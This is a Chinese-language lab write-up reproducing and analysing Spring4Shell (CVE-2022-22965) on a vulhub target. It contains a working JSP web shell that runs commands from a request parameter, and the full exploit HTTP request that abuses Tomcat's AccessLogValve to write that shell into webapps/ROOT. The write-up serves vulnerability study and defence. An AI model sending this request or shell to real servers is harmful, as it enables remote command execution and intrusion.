0x01 影响版本
Spring Framework < 5.3.18
Spring Framework < 5.2.20
JDK>9
0x02 复现环境
vulhub/spring/cve-2022-22965
0x03 漏洞复现
首先docker-compose up -d开启靶场
输入payload
<%
if("j".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(
request.getParameter("cmd")
).getInputStream();
int a = -1;
byte[] b = new byte[2048];
while((a=in.read(b))!=-1){
out.println(new String(b));
}
}
%>
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: 192.168.92.162:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
Content-Length: 8
访问jsp代码
漏洞复现成功
0x04 漏洞分析
1、SpringMVC参数绑定
为了避免需要编写大量的代码从HttpServletRequest中获取数据,SpringMVC会根据Controller方法的参数自动完成类型转换和赋值。
如图,该Controller方法调用的类为User类。
User类中开放了对name的操作,并且调用Department类
Department类开放了对name的操作。
开启项目后请求/addUser?name=test&department.name=SEC时,参数如下
可以看到:
(1)name自动绑定到了User中的name上
(2)department.name通过User.getDepartment()->Department.setName()绑定
综上,假如请求名为A.B.C.D且Controler入参为P,则调用链为:
P.getA()->A.getB()->B.getC()->C.setD()
SpringMVC通过WebDataBinder.doBind(MutablepropertyValues) 实现参数绑定
2、Java Bean PropertyDescriptor
PropertyDescriptor是JDK自带的java.beans包下的类,意为属性描述器,用于获取符合Java Bean规范的对象属性和get/set方法。
Class<?> getPropertyType() // 获取属性的java类型对象
Method getReadMethod() // 获得用于读取属性值的方法
Method getWriteMethod() // 获得用于写入属性值的方法
void setReadMethod(Method readMethod) // Sets the method that should be used to read the property value.
void setWriteMethod(Method writeMethod) //Sets the method that should be used to write the property value.
PropertyDescriptor实际上就是Java Bean的属性和对应get/set方法的集合。
3、Tomcat AccessLogValve 和 access_log
Tomcat的Valve用于处理请求和响应,通过组合了多个Valve的Pipeline,来实现按次序对请求和响应进行一系列的处理。其中AccessLogValve用来记录访问日志access_log。Tomcat的server.xml中默认配置了AccessLogValve,所有部署在Tomcat中的Web应用均会执行该Valve,内容如下:
下面列出配置中出现的几个重要属性: - directory:access_log文件输出目录。 - prefix:access_log文件名前缀。 - pattern:access_log文件内容格式。 - suffix:access_log文件名后缀。 - fileDateFormat:access_log文件名日期后缀,默认为.yyyy-MM-dd。
4、payload分析
%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
通过AccessLogValve输出的日志中可以通过形如%{param}i等形式直接引用HTTP请求和响应中的内容。引用了包中的header
class.module.classLoader.resources.context.parent.pipeline.first.pattern=jspcode
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
调用链最终为:
pattern:文件内容
suffix:文件后缀名
directory:文件输出目录,设为webapps/ROOT即为根目录,localhost:8080/xxx文件可以直接访问
prefix:文件名
fileDateFormat:将AccessLogValue.fileDateFormat设为空,文件名不含日期
0x05 漏洞修复
1、判断调用的类名是否是安全的类名
2、限制了调用类时只允许调用Name